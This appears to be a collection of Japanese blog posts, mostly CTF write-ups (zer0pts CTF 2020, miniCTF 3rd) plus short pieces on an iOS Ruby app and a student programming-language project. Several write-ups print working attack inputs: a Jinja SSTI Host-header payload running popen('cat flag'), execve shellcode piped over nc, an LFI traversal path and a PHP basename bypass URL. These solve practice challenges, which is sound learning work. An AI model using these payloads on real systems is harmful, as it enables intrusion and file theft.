という名前の変数に格納されるので調べてみると以下の変数が存在しました。
global["__3"]
: ステージをクリアしたかのフラグglobal["_n4"]
: 残りの歩数
よって、ブラウザーのConsoleでglobal["__3"] = 1
を何回か実行するとフラグが得られます。
ところで、パズルをスキップできるアクションパズル悪魔っ娘ハーレムゲームことHelltakerは無料で遊べるので、暇なときにやってみるとよいかもしれません。
Yoshi-Shogi
Rust製の将棋ゲームが配布されます。
normal modeとflag modeがありflag modeで相手に勝つとフラグが得られそうです。
最初にバイナリの改変を試しましたが、flag modeで王を取ってもフラグは得られませんでした。 どうやら相手を降参させる必要があるようです。
次にバイナリを解析すると、外部のAPIと通信して次の手を決めていることがわかりました。 よって、降参しか指示しないサーバーをローカルに立ててそこに通信が行くようにしてやれば相手が降参してフラグを得ることができます。
# server.py from http.server import BaseHTTPRequestHandler, HTTPServer class Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() self.wfile.write(b'{"bestmove": "resign"}') addr = ("", 15061) with HTTPServer(addr, Handler) as server: server.serve_forever()
$ strings yoshi-shogi | grep "http://.*:.*/" (APIのURLが手に入る) $ echo "127.0.0.1 <CENSORED>" | sudo tee -a /etc/hosts $ python server.py
misc
Break a leg
from PIL import Image from random import getrandbits with open("flag.txt", "rb") as f: flag = int.from_bytes(f.read().strip(), "big") bitlen = flag.bit_length() data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)] img = Image.new("RGB", (256, 256)) img.putdata([tuple(data[i:i+3]) for i in range(0, len(data), 3)]) img.save("chall.png")
LSBにフラグが隠されているsteganography問題です。
ランダムなビット列とORをとっていますが、得られる値には以下のような性質があることがわかります。
- フラグのビットが
0
->0
か1
- フラグのビットが
1
->1
この性質を利用してフラグを求めることができます。
from PIL import Image img = Image.open("chall.png") bits = [i & 1 for sl in img.getdata() for i in sl] for flag_len in range(1, 0xff): # 最初の0は省略されるので-1する flag_bits_len = flag_len * 8 - 1 flag_bits = [1] * flag_bits_len for i in range(len(bits)): flag_bits[i % flag_bits_len] &= bits[i] flag_int = int("".join([str(i) for i in flag_bits][::-1]), 2) flag = int.to_bytes(flag_int, flag_bits_len, "big") try: print(flag_len, flag.decode()) except Exception as e: pass
感想など
しばらく幽霊になっていましたが、久しぶりにCTFに参加しました。 やはり実力不足が否めません。
とても楽しいCTFでした。運営の皆さんありがとうございました。
Rubyist for iOSについて
この記事は SecHack365 Advent Calendar 2020 1日目の記事です。初日なので軽めに書いていきます。
まえがき
こんにちは、arataです。学校のテストが終わったのにタスクは増える一方です。怖いですね。
今日はとくに書くことがなかったので、最近知ったRubyistというアプリについてちょっと語ろうと思います。
Rubyistとは
iOSで動くRubyの開発環境です。現在(2020/12/1時点)はベータ版となっており、TestFlight経由で配布されています。
できること
Rubyのコードを書いて実行できます。内部でmrubyを使用しているため若干の制限がありますが、一般的な用途で困ることはないと思います。
さらにiOSのショートカットとの連携も可能で、ショートカットからRubyのコードを実行できます。
API
mrubyの標準ライブラリに加え、Rubyist独自のAPIも実装されています。以下にその一部を紹介します。
Browser
設定されているデフォルトブラウザで、指定されたURLを開きます。
Clipboard
クリップボードにアクセスできます。
Device
デバイスについての情報を取得できます。バッテリー情報やシステム情報などが取得できるようです。
個人的には、デバイスがどの向きで置かれているかを取得できるのが好きです。
HttpRequest
HTTPリクエストを送ることができます。
あとがき
以前はRubyPicoというアプリを利用していたのですが、AppStoreから姿を消してしまったのでまたこのようなアプリが開発されているのはとても嬉しいです。将来的にはmrbgemsのインストールやAPIの実装を進めていくとのことなので、楽しみにしています。
ところで、私の愛用するiPhone SE(Gen 1)はそろそろサポートが切られるそうです。次は何にしようか、、、
補遺1
ちょっとだけRubyistをいじった記録を残しておきます。
Kernel#open
を使ったファイルの書き込み・読み込みは可能だった。TCPServer
を使ってサーバは建てられなかった。(IO#popen
のエラーが発生する)- →v1.0(11)で
uninitialized constant TCPServer
のエラーに変わった
- →v1.0(11)で
zer0pts CTF 2020 Writeup
ソロでチーム"helix"として参加した。1909 点を獲得し、順位は 43 位だった。
crypto
ROR
以下のソースコードとその実行結果が渡される。
import random from secret import flag ror = lambda x, l, b: (x >> l) | ((x & ((1<<l)-1)) << (b-l)) N = 1 for base in [2, 3, 7]: N *= pow(base, random.randint(123, 456)) e = random.randint(271828, 314159) m = int.from_bytes(flag, byteorder='big') assert m.bit_length() < N.bit_length() for i in range(m.bit_length()): print(pow(ror(m, i, m.bit_length()), e, N))
まず、最終行のror
が何をしているのか調べる。バイト列、数値、長さを渡しているように見えるので試しに適当な値を与えてみる。
>>> ror = lambda x, l, b: (x >> l) | ((x & ((1<<l)-1)) << (b-l)) >>> b = 0b00100111 >>> for i in range(8): ... print(format(ror(b, i, 8), '08b')) ... 00100111 10010011 11001001 11100100 01110010 00111001 10011100 01001110
この結果より第2引数で指定された数だけ右にローテーションしていることがわかる。
また、いろいろ試していると暗号化する前と後で奇数と偶数の変化が起こらないことに気づいた。 よってローテーションしながら暗号化していることを利用し、一つ一つ奇数か偶数かを集めていくとフラグを入手できる。
from binascii import unhexlify with open("log.txt", "r") as f: lines = f.readlines() r = "" for line in lines: if int(line) % 2 == 0: r += '0' else: r += '1' print(unhexlify(format(int(r), 'x')))
forensics
Locked KitKat
Android のイメージファイルが渡されるので、パターンロックを解除してねという問題。 Google先生に聞き以下のツールを見つけた。
https://github.com/sch3m4/androidpatternlock
このツールに/data/system/gesture.key
というファイルを食わせるとクラックしてくれるので、ターミナルにて実行。フラグが入手できた。
others
コピペ問題
Welcome
自明
Survey
自明
pwn
hipwn
忘却。半分寝ている状態で解いていたのでメモが残っていなかった。
reversing
vmlog
Brainf*ck似のプログラムとその実行結果、及びプログラムを実行するためのPythonスクリプトが渡された。
試しに実行してみると文字入力を求められるので、実行結果はフラグを入力した際のものであると考えた。
同じ文字を同じ順番で入力すれば常に同じ出力が得られるので、総当りするスクリプトを実行するとフラグが入手できた。
from pwn import * context.log_level = 'error' letters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_+!?{}" def try(candidate, log): p = process(("python", "./vm.py")) p.recvline() # M+s p.recvline() # [0, p.recvline() # [46 p.sendline(candidate) for i in range(len(candidate)): line = p.recvline().decode() if line != log[i]: p.kill() return False p.kill() return True def read_log(): with open("log.txt", "r") as f: log = [i for i in f.readlines()] return log def main(): candidate = "" log = read_log() while True: for c in letters: if try(candidate + c, log): candidate += c print(f"[+] Found: {candidate}") break main()
QR Puzzle
鍵と暗号化されたQRコード、及び暗号化するプログラムが渡された。
プログラムの処理を読んでみると鍵ファイルの内容に従って特定のピクセルを入れ替えていた。
そこで、鍵ファイルの上下を逆にしそのまま鍵ファイルとしてプログラムに渡すと無事にQRコードが復号できた。
web
notepad
@app.errorhandler(404) def page_not_found(error): """ Automatically go back when page is not found """ referrer = flask.request.headers.get("Referer") if referrer is None: referrer = '/' if not valid_url(referrer): referrer = '/' html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer) return flask.render_template_string(html), 404
404ページを返すときにリファラーの値を直接組み込んでいるので、ここでSSTIが行える。
しかしリファラーの値は以下のvalid_url
関数によってバリデーションが行われるため、ホスト部分を除き16文字を超えたものについては受け入れられない。
def valid_url(url): """ Check if given url is valid """ host = flask.request.host_url if not url.startswith(host): return False # Not from my server if len(url) - len(host) > 16: return False # Referer may be also 404 return True
この先の部分が想定解と異なっていた。
ホスト部分についてはヘッダと同値であるかのチェックしか行われないので、そこにSSTIを仕込めると考えた。
そこでヘッダを以下のように設定し、リクエストを送ったところフラグが入手できた。
Host: {{"".__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen'].('cat flag').read()}}
Can you guess it?
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
basename
関数はlocaleの設定を適切にしていなければマルチバイト文字に対して正常に動作しない。
つまり1行目の正規表現にマッチし、かつマルチバイト文字で終わる以下のようなURLでアクセスすればフラグを入手できた。
http://<CENSORED>/index.php/config.php/ほげ?source
Comfes 2020に参加した
まえがき
2020年3月9日から18日までオンラインで行われたComputer Festival 2020に参加した。なぜか参加者投票でアプリケーション部門3位をいただいた。このような大変な状況の中オンライン開催していただいた主催校の皆様ありがとうございました。
作品について
"Visket" という自作プログラミング言語を作った。言語についての詳細は Visket Specifications と Visket/README.md にまとめてある。
バックエンドに LLVM 、フロントエンドを Go 言語という謎構成で作製した。計画段階ではバックエンドを Rust で実装しようと思っていたのだが学習にかかる時間が予測できなかったため、良さげな LLVM のラッパがあったGo言語で実装した。若干Go言語の闇に触れつつもなんとか完成までこぎつけたのでこの選択は間違っていなかったと思いたい。
またコンパイラとあわせて、 Visket のプログラムを Web 上で実行できる Visket Playground を作った。これは開催の前々日ぐらいに「もっと簡単にプログラムを動かせたら便利なのでは」と思いついて1日ぐらいで完成させた。フロントエンドを Vue.js で書いて、サーバサイドを Go / Gin で書いた。ソースコードは playground-front と playground-server においてある。一応Docker上で実行できるようにはしていたがそれでもやはり環境構築のコストが高いため、用意して正解だったと思う。お察しクオリティを記録しておくためとりあえずスクリーンショットを貼っておく。
アピールポイントとして"Easy"、"Safe"、"Fast"というのを書いたがモダンな言語としてはほぼ当たり前の機能ばかりなので、嘘は書いていないが若干詐欺した感がある。とはいえ速度面と言語機能の実装はかなり頑張ったつもりなので許してほしい。
所感
応募要項でパンフレットについて「白黒印刷される」と書かれていたところを「白黒のフォーマットで提出しなければいけない」と解釈してしまったのが敗因の一つだったと思う。が、「それはあなたのデザイン力がないだけでは?」と言われてしまえば返す言葉もございません。
部門ごとに書いていく。
アプリケーション部門
AP部門はいかに作品の良さを伝えられるかと言うのがあった(それはそう)。その点 Web 上にデプロイされているものは簡単にさわれるため、ネイティブアプリケーションと比べ大きなアドバンテージがあるのを強く実感した。私もそれを実感してPlaygroundの作製につながった。すでに来年作りたいものが見えているため良い刺激をもらえたと思う。
あと、目的と手段が入れ替わったような拙作が思いの外投票頂いていて???になった(投票してくださった方ありがとうございます)。「1年」だからこそ許された部分が大きかったのだろうと思う。
ゲーム部門
GM部門は作品数がAP部門の4倍ぐらいで、1年生の作品もそこそこあったように感じた。ネタを仕込んだものは参加者投票で受け、ゲームシステムがしっかりしているものは企業受けが良いという恒例のあれが発生していた。弊部の先輩もそうですがネタのセンスがいいのは何なんでしょうね。:pro:がたくさんいたので私も精進したい。
(企業賞の講評で「唯一」が繰り返されていたことを深読みしすぎてしまって良くない)
メディア・コンテンツ部門
MC部門はクオリティが高い作品が多く戦々恐々していた。個人的には MC-13 の 「Ahoxa」 がかなり面白そうだったため、見てみたいというのがあった(ところであれはアプリケーション部門ではないんですかね)。
あとがき
来年は真面目に作品を出します。
miniCTF 3rd Writeup
ソロでチーム"helix"として参加した。1001 点を獲得し、順位は 9 位だった。
00 Welcome
自明
NITAC{sup3r_dup3r_sc0re_serv3r}
01 signature
signature
ファイルの中身を確認する。
$ file signature signature: ELF (Tru64), unknown class 13 $ xxd signature | head 00000000: 7f45 4c46 0d0a 1a0a 0000 000d 4948 4452 .ELF........IHDR 00000010: 0000 0423 0000 021d 0806 0000 0007 efb7 ...#............ 00000020: 2f00 0000 0473 4249 5408 0808 087c 0864 /....sBIT....|.d 00000030: 8800 0000 1974 4558 7453 6f66 7477 6172 .....tEXtSoftwar 00000040: 6500 676e 6f6d 652d 7363 7265 656e 7368 e.gnome-screensh 00000050: 6f74 ef03 bf3e 0000 1c96 4944 4154 789c ot...>....IDATx. 00000060: eddd 39b2 eb46 8205 5042 f1b7 2347 a6ca ..9..F..PB..#G.. 00000070: d652 2ab4 2679 b595 72e4 7d4b 0ba8 4db4 .R*.&y..r.}K..M. 00000080: cf36 a427 bd91 c490 7973 3a27 a28c 16fa .6.'....ys:'.... 00000090: f381 891c 2f13 c0f6 cb2f bfdc 6f00 0000 ..../..../..o...
識別子はELF
だがIHDR
やIDAT
の文字からpngっぽいということで7f45 4c46
を8950 4e47
に変えるとフラグが手に入る。
NITAC{dr4win9}
02 shellcode
shellcode
ファイルの中身を確認する。
$ file shellcode shellcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3658bbbb3a87143505daa8ebe8bc00220aa93cc1, not stripped
問題名から察したのでhttp://shell-storm.orgからx86-64
用のシェルコードを適当に探して投げてみる。
$ (echo -e "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";cat) | nc <url> I will execute your code instead of you. Give me machine code bytes: ls flag.txt redir.sh shellcode cat flag.txt NITAC{I_g4ve_up_cr0ss_comp1ling}
フラグが手に入る。
NITAC{I_g4ve_up_cr0ss_comp1ling}
03 wrong copy
program
ファイルの中身を確認する。
$ file program program: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=007c9b3494e08ccacaf16692de872fe3b817ae26, for GNU/Linux 3.2.0, not stripped
とりあえずstrings
をかけてみる。
$ strings program ... (省略) u+UH NITAC{c0H py_15_d1H ff1cul7} []A\A]A^A_ ... (省略)
それっぽい文字列が見つかるがH
が途中に混ざっているので除去するとフラグが手に入る。
NITAC{c0py_15_d1ff1cul7}
08 base64
encoded.txt
ファイルの中身を確認する。
$ cat encoded.txt TklUQUN7RE9fWU9VX0tOT1dfQkFTRTY0P30K
問題文に従って、デコードする。
$ cat encoded.txt | base64 -d NITAC{DO_YOU_KNOW_BASE64?}
フラグが得られる。
NITAC{DO_YOU_KNOW_BASE64?}
12 flower
暗号化スクリプトencrypt.py
と、ファイルflower.png
、enc_flower.png
が渡される。
encrypt.py
を確認する。
import cv2 import numpy as np img = cv2.imread('flower.png') flag = ''.join([bin(ord(x))[2:].zfill(8) for x in list(input("input flag: "))]) flag += '0' * (img.shape[0] * img.shape[1] * img.shape[2] - len(flag)) print(flag) print(len(flag)) enc_img = [] cnt = 0 for i in img: img_line = [] for j in i: r, g, b = [[y for y in list(bin(x)[2:])] for x in j] r[-1] = flag[cnt] g[-1] = flag[cnt + 1] b[-1] = flag[cnt + 2] cnt += 3 img_line.append([int(x, 2) for x in [''.join(r), ''.join(g), ''.join(b)]]) enc_img.append(img_line) cv2.imwrite('enc_flower.png', np.array(enc_img))
import cv2 img = cv2.imread('enc_flower.png') flag = [] for i in img: for j in i: r, g, b = [[y for y in list(bin(x)[2:])] for x in j] flag.append(r[-1]) flag.append(g[-1]) flag.append(b[-1]) for i in range(0, len(flag), 8): print(chr(int(''.join(flag[i:i+8]), 2)), end='')
実行するとフラグが手に入る。
$ python decrypt.py | less NITAC{LSB_full_search}^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ lines 1-1/1 (END)
NITAC{LSB_full_search}
15 Teacher's Server
フラグがbase32
で暗号化されているとのことなので、Network1.pcapng
をstrings
にかけてみる
$ strings Network1.pcapng ... (省略) Date: Sat, 28 Dec 2019 07:20:42 GMT Connection: keep-alive flag: JZEVIQKDPNEVGQKPL5EVGX2NIFKEQRKNIFKESQ2JIFHH2=== Counters provided by dumpcap
いかにもな文字列を見つけたのでデコードする。
$ echo JZEVIQKDPNEVGQKPL5EVGX2NIFKEQRKNIFKESQ2JIFHH2=== | base32 -d NITAC{ISAO_IS_MATHEMATICIAN}
フラグが手に入る。
17 Admin Portal 1
Webサイトのソースが渡される。サイトには登録のためのリンクがないが、ソースを読むとregister.php
で受け付けていることがわかるので適当に登録する。その後、サイトからログインするとフラグが表示されている。
NITAC{00f_r3g1str4t10n_st1ll_w0rks}
18 Admin Portal 2
ソースを更に読むと、index.php
に以下のようなコードがあることに気づく。
<?php include("templates/" . $_GET['lang']); ?>
このコードを利用するとlang
パラメータの変更で好きなファイルを読むことができる。また問題文より、フラグは/flag2.txt
に存在することがわかっている。
そこでlang
パラメータに適当な値を入力していくと、../../../../flag2.txt
でフラグを手に入れることができた。
NITAC{n0w_u_kn0w_h0w_LFI_w0rks}
JWT auth
メモを取り忘れたので省略。
総括
自明問題しか解けていないように感じた。